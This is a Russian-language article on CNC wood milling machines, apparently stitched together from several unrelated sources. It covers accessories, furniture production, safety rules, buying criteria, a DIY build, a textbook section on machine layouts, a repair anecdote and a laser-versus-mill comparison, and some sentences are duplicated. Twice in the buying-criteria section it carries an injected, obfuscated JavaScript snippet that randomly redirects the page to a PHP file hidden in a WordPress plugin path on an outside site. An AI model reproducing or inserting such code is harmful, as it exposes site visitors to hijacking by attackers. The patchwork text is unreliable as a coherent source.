Фрезерный станок с ЧПУ по дереву: скрытые ресурсы умной техники

Дополнительные приспособления

В конструкции фрезера с ЧПУ есть планка с разметкой, позволяющая выполнять прямолинейную обработку деталей. Некоторые модели агрегатов оборудованы промышленными мощными пылесосами. Они удаляют древесную стружку, мелкие щепки и пыль со станка.

Производители деревообрабатывающих станков с программным управлением постоянно совершенствуют модели и внедряют приспособления, существенно повышающие возможности оборудования. К примеру, система АТС позволяет максимально быстро сменить режущие элементы автоматически без участия оператора. Также применяются вакуумные столы, защитные устройства направляющих элементов, системы фильтрации и автоматической подачи смазочных и охлаждающих жидкостей, прочее

При выборе модели станка следует обращать внимание на наличие дополнительных систем и приспособлений, от которых зависит производительность оборудования

Риск воспламенения и обуглившиеся края:

Ко всему вышесказанному добавим, что срез на станках с чпу остается равномерно светлым, а при резке на лазерных станках края обугливаются. В результате срез приобретает черный цвет. Что также не всегда подходит для целей заказчика.

Для предотвращения окислительных процессов во время лазерной резки используют подачу в зону резки инертных газов, например, аргона. Также подходит азот, который позволяет исключить доступ кислорода к зоне резки, что и не дает кромке обугливаться

Кроме того при лазерной резке дерева возможно воспламенение материала. Что абсолютно исключено при обработке фрезой.

Мебельное производство

Изготовление корпусной мебели — один из самых перспективных видов малого и среднего бизнеса. В этой сфере применяются станки и обрабатывающие центры портального типа. В ассортимент выпускаемых на таких станках с ЧПУ изделий входят:

• детали «коробов» из ДСП и ДВП;
• фасады из МДФ;
• резные зеркала.

Контурная обработка, сквозное фрезерование, гравировка, сверление отверстий выполняются в одной управляющей программе без смены базы. Производительность установки зависит от размеров рабочего поля, мощности и скорости вращения шпинделя. Существуют многошпиндельные станки, способные работать в режимах копира или последовательной обработки разными фрезами. Для исполнения большинства программ достаточно 3-координатного станка.

Большинство материалов для мебельного производства — композиты. Для их обработки чаще всего применяются фрезы из твердых сплавов или быстрорежущих сталей с керамическим слоем. Для решения специфических задач, таких как, например, обработка высокоабразивных ламинатов, подбирают инструмент с монокристаллическим алмазом или покрытием CVD.

Большое влияние на производительность станка оказывают периферийные устройства. Поскольку станок работает преимущественно с листовыми материалами, для быстрого и надежного закрепления заготовки нужен вакуумный стол. Также нужна надежная система аспирации, которая будет удалять мелкодисперсные опилки.

Техника безопасности при работе с фрезером ЧПУ

При работе с техническим оборудованием придерживайтесь определенных правил. Это связано не только с эффективностью работы, но и с безопасностью.

Работа с техническим оборудованием опасна, а соблюдение техники безопасности снижает риск причинения вреда здоровью.

Правила ТБ:

1. Приступать к работе только в специальной униформе. Оператору ЧПУ станка потребуется прикасаться к острым предметам. Прикосновение голыми руками повышает риск появления колотых и режущих ран.
2. Рабочее пространство должно быть в 2 раза больше, чем размер станка. Это нужно для отдаления от рабочего места при критических ситуациях.
3. Огнеустойчивость стен, пола и потолка. Снижает риск возникновения пожара.
4. Пол должен быть ровным. Требуется для надежного закрепления аппарата.
5. Наличие хорошего освещения.

На что обращать внимание при выборе

При выборе компактного станка с ЧПУ обязательно уделите внимание таким моментам:

Габариты устройства и размеры стола. От этого параметра зависит максимальный размер деталей, которые вы сможете обрабатывать;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tov-apparata-zavisit-maksimalnyy-dopustim-600×361.jpg» alt=»От габаритов аппарата зависит максимальный допустимый размер заготовки» width=»600″ height=»361″ /> От габаритов аппарата зависит максимальный допустимый размер заготовки

• Тип силовой установки. Может быть шаговой или с сервоприводом. Первая отличается большей мощностью, но обеспечивает меньшую точность обработки;
• Мощность и частота вращения. Как правило, этот показатель обычно находится в пределах 1,5-2,5 кВт. Скорость вращения может достигать 24-25 тысяч оборотов в минуту. В идеале мощность и частота вращения должны регулироваться, что делает станок более функциональным;
• Блок ЧПУ. Желательно, чтобы блок ЧПУ можно было подключать к компьютеру. Это упрощает работу и увеличивает его возможности оборудования. В частности, подключение к компьютеру позволяет загружать готовые двухмерные и трехмерные модели. Причем, скачать модели для ЧПУ фрезерного станка можно в интернете;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toby-blok-chpu-byl-vynesen-v-otdelnyy-600×456.jpg» alt=»Желательно чтобы блок ЧПУ был вынесен в отдельный аппарат — это предотвратит воздействие вибраций на электронную часть» width=»600″ height=»456″ /> Желательно чтобы блок ЧПУ был вынесен в отдельный аппарат — это предотвратит воздействие вибраций на электронную часть

• Тип охлаждения. Станки могут оборудоваться воздушной или водяной системой охлаждения. Если оборудование будет активно использоваться, лучше приобретать модель с водяным охлаждением, так как оно более эффективное;
• Точность позиционирования режущего элемента. От этого параметра зависит погрешность фрезерной обработки. Соответственно, чем меньше погрешность, тем точнее получаются детали, поэтому желательно чтобы точность позиционирования составляла не более 0,1 мм.

Это вся основная инструкция по выбору станка

В остальном же следует уделить внимание производителю оборудования и его функциональности

Общие сведения

В начале XX века все устройства для обработки заготовок были механическими. То есть, конечно, был электропривод, но за движением всех составляющих следил механик. Это довольно сложная и почетная деятельность, для ее освоения необходимо профильное образование, а также значительный навык и опыт. Но классические модели имеют ряд недостатков:

• Они недостаточно точны. Чтобы добиться высокого класса точности, требуется усердная, филигранная работа, а также безупречное состояние как самого оборудования, так и всех резцов – никаких вибраций, нечаянных движений.
• Большое количество ошибок, дефектных деталей из-за человеческого фактора. Малый опыт или низкая коммуникация (не зря у всех токарей есть разряды), усталость, простая невнимательность – и уже целая заготовка уходит в отходы. Это экономически невыгодно.
• Тяжелый физический труд. У каждой единицы оборудования должен стоять механик, который занимается множеством операций – от закрепления металла в тисках до управления резцом. Это постоянно напряженный труд, требующий внимания, силы и, еще раз повторим, опыта.
• Низкая производительность. Скорость металлообработки недостаточно высока, потому что все делается вручную.

Вместе с первым созданием программ для ЧПУ станков появилось осознание того, что такой же объем работы можно сделать быстрее, без ошибок, с минимальными затратами человеческого ресурса.

Впервые в СССР программно-управляемые системы были внедрены в годы Великой Отечественной войны, в тот же период появились первые проблемы – недостаточная компетентность технического персонала, малое знание основ программирования и несовершенство оборудования.

Исправить эту проблему стало возможно с появлением достаточно адаптированных под пользователя рабочих компьютерных сред. Объясним на примере, как это взаимосвязано.

Инженер хочет создать металлический узел. Выполнить вручную его очень непросто, практически невозможно, поэтому он сперва заходит в программное обеспечение. Здесь он выполняет две пересекающиеся операции:

• Сложные математические вычисления, которые направлены на проверку работоспособности узла.
• Черчение.

Затем специалист, полностью справившись с первой задачей, изменяет формат документа и заканчивает его в числовой пульт управления оборудованием.

Теперь его работа невелика – поставить заготовку, наблюдать за правильным исполнением процесса, а после – снять и проверить образец. А встроенная программа для фрезеровки на ЧПУ сама выберет подходящую скорость и угол резания, режим, а также наиболее эффективный алгоритм движения.

Итак, чтобы создать любую сложную трехмерную деталь из металла, дерева, иного материала, необходимо воспользоваться компьютерным софтом с возможностью 3D-графики. Затем изображение требуется перевести в g-код

Важно, чтобы программное обеспечение соответствовало операционной системе, то есть ОС «тянула» программу. Например, большинство профессиональных CAD некорректно работают на привычном Windows, зато пойдут на Linux. Удобство (в основном отсутствие задержек, что очень важно) также зависит и от самого персонального компьютера

Удобство (в основном отсутствие задержек, что очень важно) также зависит и от самого персонального компьютера

1 Общая информация

Деревообрабатывающие станки не обязательно должны быть фрезеровочными. Это могут быть также мини-станки, станки вертикально-сверлильные и т.д.

Если сверлильный станок может выполнять довольно примитивные деревообрабатывающие функции (сделать отверстие в доске, зенкеровать, растачивать и т.д.), то фрезеровка дает человеку куда больший простор для фантазии.

Фрезеровка – это рабочий процесс, который можно выполнить и своими руками

Здесь важно наличие только необходимого инструмента. В качестве инструмента используется фрезерный станок. Он состоит из движка, что вращает шпиндель с насадкой

Насадку можно подбирать индивидуально

Он состоит из движка, что вращает шпиндель с насадкой. Насадку можно подбирать индивидуально.

В качестве насадок используют фрезы. Фрезы могут быть сами разнообразными. От изделий, что практически повторяют форму обычного сверла, до фигурных трехуровневых насадок, которые позволяют вытачивать в элементах декоративные планки и фигурные вырезы.

Горизонтальный фрезерный станок сделанный своими руками

Деревообрабатывающие агрегаты фрезерного типа широко применяются в работе слесарей, сборщиков и конструкторов мебели и т.д. Да и в быту от такого инструмента пользы будет очень много. Ведь с его помощью можно своими руками сделать:

• пазы на досках;
• просверлить отверстия в нужном месте;
• проточить планки с любой из сторон;
• вырезать фигурный узор;
• подготовить плинтуса, доски, пластиковые пластины и другие подобные материалы для сборки из них строительных и бытовых конструкций.

Причем мы указали только самые популярные и востребованные работы, на самом же деле с помощью правильно подобранной фрезы можно вести изготовление практических любых конструкций из дерева.

В конце концов, мини фрезерный станок, равно как и другие деревообрабатывающие инструменты, существенно экономит ваше время. С его помощью в доске любой прочности и толщины можно сделать несколько пазов меньше чем за минуту. А с ручными инструментами даже опытный мастер будет возиться гораздо дольше.

1.1 Фрезерные станки с ЧПУ

Отдельно отметим фрезерные станки с ЧПУ по дереву. ЧПУ – это модуль числового программного управления.

Он специально задумывался для обустройства на станках. Причем в первую очередь его устанавливают не на деревообрабатывающие машины, а на станки для работы по металлу.

Горизонтальный копировально-фрезерный станок по дереву

ЧПУ являет собой небольшой мини-агрегат, в котором установлен простейший считывающий процессор или вычислительная машина.

Человеку в работе со станком ЧПУ нужно просто ввести нужные координаты в устройство. Сделать это можно путем измерения стола и монтажа обрабатываемого элемента в правильном положении. Координаты могут быть введены последовательно.

Устанавливать и настраивать ЧПУ конечно можно, причем и своими руками с этой задачей справиться человеку вполне по силам. Вот только на работу уйдет намного больше времени, сил, денег, да и опыт взаимодействия со станочными вычислительными механизмами вам тоже потребуется.

Приступаем к сборке оборудования

Основой самодельного фрезерного оборудования с ЧПУ может стать балка прямоугольного сечения, которую надо надежно зафиксировать на направляющих.

Несущая конструкция станка должна обладать высокой жесткостью, при ее монтаже лучше не использовать сварных соединений, а соединять все элементы нужно только при помощи винтов.

Узел скрепления деталей рамы станка посредством болтового соединения

Объясняется это требование тем, что сварные швы очень плохо переносят вибрационные нагрузки, которым в обязательном порядке будет подвергаться несущая конструкция оборудования. Такие нагрузки в итоге приведут к тому, что рама станка начнет разрушаться со временем, и в ней произойдут изменения в геометрических размерах, что скажется на точности настройки оборудования и его работоспособности.

Установка вертикальных стоек

Во фрезерном станке, который вы будете собирать своими руками, должен быть предусмотрен механизм, обеспечивающий перемещение рабочего инструмента в вертикальном направлении. Лучше всего использовать для этого винтовую передачу, вращение на которую будет передаваться при помощи зубчатого ремня.

Важная деталь фрезерного станка – его вертикальная ось, которую для самодельного устройства можно изготовить из алюминиевой плиты

Очень важно, чтобы размеры этой оси были точно подогнаны под габариты собираемого устройства. Если в вашем распоряжении есть муфельная печь, то изготовить вертикальную ось станка можно своими руками, отлив ее из алюминия по размерам, указанным в готовом чертеже. Узел верхней каретки, размещенный на поперечных направляющих

Узел верхней каретки, размещенный на поперечных направляющих

После того как все комплектующие вашего самодельного фрезерного станка подготовлены, можно приступать к его сборке. Начинается данный процесс с монтажа двух шаговых электродвигателей, которые крепятся на корпус оборудования за его вертикальной осью. Один из таких электродвигателей будет отвечать за перемещение фрезерной головки в горизонтальной плоскости, а второй — за перемещение головки, соответственно, в вертикальной. После этого монтируются остальные узлы и агрегаты самодельного оборудования.

Финальная стадия сборки станка

Вращение на все узлы самодельного оборудования с ЧПУ должно передаваться только посредством ременных передач. Прежде чем подключать к собранному станку систему программного управления, следует проверить его работоспособность в ручном режиме и сразу устранить все выявленные недостатки в его работе.

Посмотреть процесс сборки фрезерного станка своими руками можно на видео, которое несложно найти в интернете.

8.4. Фрезерные станки с ЧПУ

Фрезерные станки с ЧПУ предназначены для обработки плоских и пространственных поверхностей заготовок сложной формы. Конструкции фрезерных станков с ЧПУ аналогичны конструкциям традиционных фрезерных станков, отличие от последних заключается в автоматизации перемещений по УП при формообразовании.

В основе классификации фрезерных станков с ЧПУ лежат следующие признаки:

• расположение шпинделя (горизонтальное и вертикальное);
• число координатных перемещений стола или фрезерной бабки;
• число используемых инструментов (одноинструментные и многоинструментные);
• способ установки инструментов в шпиндель станка (вручную или автоматически).

По компоновке фрезерные станки с ЧПУ делят на четыре группы:

• вертикально-фрезерные с крестовым столом;
• консольно-фрезерные;
• продольно-фрезерные;
• широкоуниверсальные инструментальные.

В вертикально-фрезерных станках с крестовым столом (рис. 8.4, а) стол перемещается в продольном (ось X) и поперечном (ось Y) горизонтальном направлениях, а фрезерная бабка — в вертикальном направлении (ось Z).

Рис. 8.4. Компоновки фрезерных станков с ЧПУ с обозначением осей координат X, Y, Z и W: а — вертикально-фрезерный станок с крестовым столом; б — консольно-фрезерный станок; в — продольно-фрезерный станок; г — продольно-фрезерный станок с неподвижной поперечиной; д — широкоуниверсальный инструментальный фрезерный станок

В консольно-фрезерных станках (рис. 8.4, б) стол перемещается по трем координатным осям (X, Y и Z), а бабка неподвижна.

В продольно-фрезерных станках с подвижной поперечиной (рис. 8.4, в) стол перемещается по оси X, шпиндельная бабка — по оси Y, а поперечина — по оси Z. В продольно-фрезерных станках с неподвижной поперечиной (рис. 8.4, г) стол перемещается по оси X, а шпиндельная бабка — по осям Y и Z

В широкоуниверсальных инструментальных фрезерных станках (рис. 8.4, д) стол перемещается по осям X и Y, а шпиндельная бабка — по оси Z

Фрезерные станки в основном оснащают прямоугольными и контурными УЧПУ.

При прямоугольном управлении (условное обозначение в модели станка — Ф2) стол станка совершает движение в направлении, параллельном одной из координатных осей, что делает невозможной обработку сложных поверхностей. Станки с прямоугольным управлением применяют для фрезерования плоскостей, скосов, уступов, пазов, разновысоких бобышек и других аналогичных поверхностей.

При контурном управлении (условное обозначение в модели станка — ФЗ и Ф4) траектория перемещения стола более сложная. Станки с контурным управлением используют для фрезерования различных кулачков, штампов, пресс-форм и других аналогичных поверхностей. Число управляемых координат, как правило, равно трем, а в некоторых случаях — четырем и пяти. При контурном управлении движение формообразования производится не менее чем по двум координатным осям одновременно.

В отдельных случаях на фрезерных станках при обработке заготовок простой формы в условиях средне- и крупносерийного производства также применяют системы ЧПУ.

Во фрезерных станках с ЧПУ в качестве привода главного движения используют асинхронные электродвигатели (в этих случаях имеется коробка- скоростей) или электродвигатели постоянного тока.

На небольших фрезерных станках с прямоугольным ЧПУ применяют один приводной электродвигатель постоянного тока и коробку передач с автоматически переключаемыми электромагнитными муфтами, а на тяжелых станках с контурным управлением каждое управляемое координатное перемещение осуществляется от автономного электропривода постоянного тока.

Приводы движения подач фрезерных станков с ЧПУ имеют короткие кинематические цепи, передающие движение от двигателя непосредственно исполнительному органу.

Компоновка вертикально-фрезерного консольного станка с ЧПУ (рис. 8.5) мало отличается от компоновки традиционного станка без ЧПУ. На станине вмонтируют узлы и механизмы станка. Станина спереди имеет направляющие, закрытые кожухом 9, по которым перемещается консоль 1. На горизонтальных направляющих смонтированы салазки 2, по продольным направляющим которых передвигается стол 3. На привалочной плоскости станины закреплена фрезерная бабка 6, по вертикальным направляющим которой перемещается ползун 7 со шпинделем 5. В соответствии с требованиями безопасности труда ползун имеет защитный щиток 4. Сзади станка расположен шкаф 10 с электрооборудованием и УЧПУ.

Рис. 8.5. Фрезерный станок с ЧПУ: 1 – консоль; 2 — салазки; 3 — стол; 4 — защитный щиток; 5 — шпиндель; 6 фрезерная бабка; 7 — ползун; 8 — станина; 9 — кожух; 10 — шкаф

Контрольные вопросы

1. Какие компоновки фрезерных станков с ЧПУ вы знаете?
2. Какими СЧПУ оснащают фрезерные станки?

Второй облом

Неприятность случилась примерно через пару недель после удачного запуска. Я оставил станок включенным в режиме ожидания, а сам отошел на пару минут. По возвращению меня ждал неприятный сюрприз, станок вел себя как Шварценеггер-Терминатор когда его Кристанна Локен заразила нано-роботами. Портал хаотично дергался в конвульсиях. Я быстро обесточил девайс. Через пару минут включил. Все было тихо, но минут через 5 нано-роботы вернулись. Настроение скатилось куда-то под плинтус. Я живо себе представил путешествие через всю Москву в сервисный центр. Да и просто вытащить 70 килограммовый кусок железа из тесного подвала то еще удовольствие.

Для очистки совести я решил заглянуть в китайские потроха. В моем ЧПУ вся электроника смонтирована на задней стенке портала. Вскрыть коробку оказалось не сложным. Под крышкой расположено 2 блока — блок питания и блок управления. Последний сразу вызвал подозрение. Точнее, не сам блок, а то что было на нем. На нем было 2 очень подозрительных вентилятора. При подаче питания не включился ни один! Вскрытие одного из них меня слегка шокировало. Такое впечатление, что китайцы отлили его из одного куска г пластика, включая подшипники и провода.

Оба вентилятора были отправлены в помойку (к сожалению, я тогда не сфотографировал) их место занял один большой куллер от компьютерного блока питания.

Для лучшего охлаждения в задней крышке я насверлил дырок:

С тех пор, вот уже два с лишним года, электроника станка никаких проблем не доставляет. Риторический вопрос: почему это нельзя было учесть на производстве? Цена вопроса — 100 рублей. Не думаю, что я единственный кто столкнулся с такой проблемой…

Что проще освоить?

В освоении проще лазерный станок с ЧПУ. Но он в то же время и более капризный к условиям окружающей среды, напряжению и прочим моментам, так как лазер – это куча электроники ради создания сверхтонкого и мощного луча, который прорезает в доли секунды разные материалы. А фрезер это по большей степени механика.

Для работы на лазерном ЧПУ достаточно иметь опыт работы в Corel Draw. В этой программе создаются простейшие чертежи, которые станок по линиям вырезает на фанере или дереве. Лазер – это в первую очередь 2D обработка дерева и фанеры, иными словами – раскрой листового материала. Начертил кружок – получил кружок из фанеры. Все просто.

С гравировкой (нанесение надписей и изображений) не намного сложнее. Те же контурные линии, но с заливкой. Станок их понимает, как области, которые нужно выжигать сплошным полем.

Фрезерный же станок подразумевает не только раскрой, но и создание рельефных 3D поверхностей (иконы, гравюры, доски разделочные и т.п.).

Создание такого проекта требует дополнительных навыков. Но, как правило, мастера скачивают готовые чертежи. Но и они требуют определённых знаний в их использовании.

При работе на фрезерном ЧПУ в отличие от лазера, где нужна только одна лазерная трубка как главный режущий инструмент, потребуется целый набор фраз для разной чистоты и глубины обработки древесины. Причем менять их придётся довольно часто по причине неизбежного износа или ошибок мастера (или станка).

Да, это минус. Но плюсом фрезера, большим плюсом является возможность фрезеровать автоматически материалы глубиной от 8 см и более. Чего нет в лазере (как правило, все заканчивается обработкой фанеры 10 мм максимум).

Дополнительные элементы оборудования

1. Поворотный механизм каретки фрезера. Опция, безусловно, полезная. Она добавляет «трехмерности».

   фрезер с ЧПУ Мультикат

   Если необходимо обработать заготовку снизу, вам не придется переворачивать изделие на 180°, заново задавать нулевую координату, и запускать процесс повторно. Но такое оборудование увеличивает стоимость.

2. Встроенный компьютер с экраном и программным обеспечением. Добавляет удобства и оперативности при установке новой визуальной модели.

   Рабочий стол станка

   Безусловный плюс – возможность в реальном времени вносить изменения в процесс обработки. Но стоимость этой опции настолько велика, что полноценное рабочее место входит в состав только крупных деревообрабатывающих комплексов для промышленного применения.

3. Возможность установки нескольких фрез. Ни на что другое, кроме как на скорость работы, не влияет. Отличная опция для 3D копировального аппарата: можно изготавливать сразу несколько одинаковых деталей.

   Работа тремя фрезами, увеличивает производительность станка

   Такая комплектация фрезеров применяется в серийном столярном производстве или для домашней мастерской.

4. Четвертая координата. Фактически, это поворотный шпиндель (как на токарном станке) вместо крепежного стола. Позволяет обрабатывать деталь, поворачивая ее вокруг собственной оси.

   Обработка детали на станке с ЧПУ

   Основные преимущества – обработка цилиндрических деталей (на трехмерном станке это довольно сложно), использование шпинделя в качестве полноценного токарного станка. То есть, вы получаете два инструмента в одном корпусе.

5. Вакуумный отвод опилок. Опция, без которой тяжело работать в принципе, а в домашних условиях и вовсе не возможно. Отказываться от подобного оснащения нежелательно, вам все равно впоследствии придется пристраивать шланг от пылесоса.

Процесс обработки древесины станком с ЧПУ — видео